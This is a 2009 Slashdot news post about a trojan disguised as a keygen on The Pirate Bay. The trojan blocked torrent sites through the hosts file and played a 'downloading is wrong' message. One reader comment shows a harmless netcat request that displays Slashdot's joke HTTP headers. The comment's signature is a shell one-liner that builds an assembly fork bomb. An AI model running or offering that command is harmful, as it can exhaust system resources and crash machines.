Trojan Found At Torrent Sites Insists "Downloading Is Wrong"

Posted by Soulskill on Friday January 9, 2009 @07:13PM from the attack-of-conscience dept.

NoisySplatter writes "Ernesto, founder of TorrentFreak, reports that a new trojan, 'Troj/Qhost-AC,' has been distributed on The Pirate Bay. The virus was disguised as a serial key generator, and the offending torrent has since been removed, but the source has not been identified. Troj/Qhost-AC makes changes to the user's hosts file that redirects The Pirate Bay, Suprbay, and Mininova to 127.0.0.1. In addition to making three popular torrent sites inaccessible, the virus also plays a sound file that says: 'downloading is wrong.' It looks like someone has finally stepped up to the plate to challenge Madonna for the title of 'Most Obnoxious Anti-Piracy Stunt.' Of course, this could just be the software industry's attempt at outdoing the RIAA and MPAA."

1 of 345 comments (clear)

Min score:

Reason:

Sort:

Re:Please explain to me by Hal_Porter · 2009-01-10 01:57 · Score: 1, Offtopic

Checkout the x-fry/x-bender headers: echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | netcat slashdot.org 80
http://www.rexswain.com/cgi-bin/httpview.cgi?URL=http://slashdot.org&REQ=HEAD

HTTP/1.1 200 OK(CR)(LF)
Date: Sat, 10 Jan 2009 13:36:49 GMT(CR)(LF)
Server: Apache/1.3.41 (Unix) mod_perl/1.31-rc4(CR)(LF)
SLASH_LOG_DATA: shtml(CR)(LF)
X-Powered-By: Slash 2.005001236(CR)(LF)
X-Fry: Robots don't go to heaven.(CR)(LF)
Cache-Control: private(CR)(LF)
Pragma: private(CR)(LF)
Connection: close(CR)(LF)
Content-Type: text/html; charset=iso-8859-1(CR)(LF)
(CR)(LF)
if you refresh it changes
X-Bender: Fathero!(CR)(LF)
X-Bender: Shooting DNA at each other to make babies. I find it offensive!(CR)(LF)
X-Bender: nogoodlawsprotectingtheinnocent--(CR)(LF)
X-Bender: Alright! Closure!(CR)(LF)

--
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;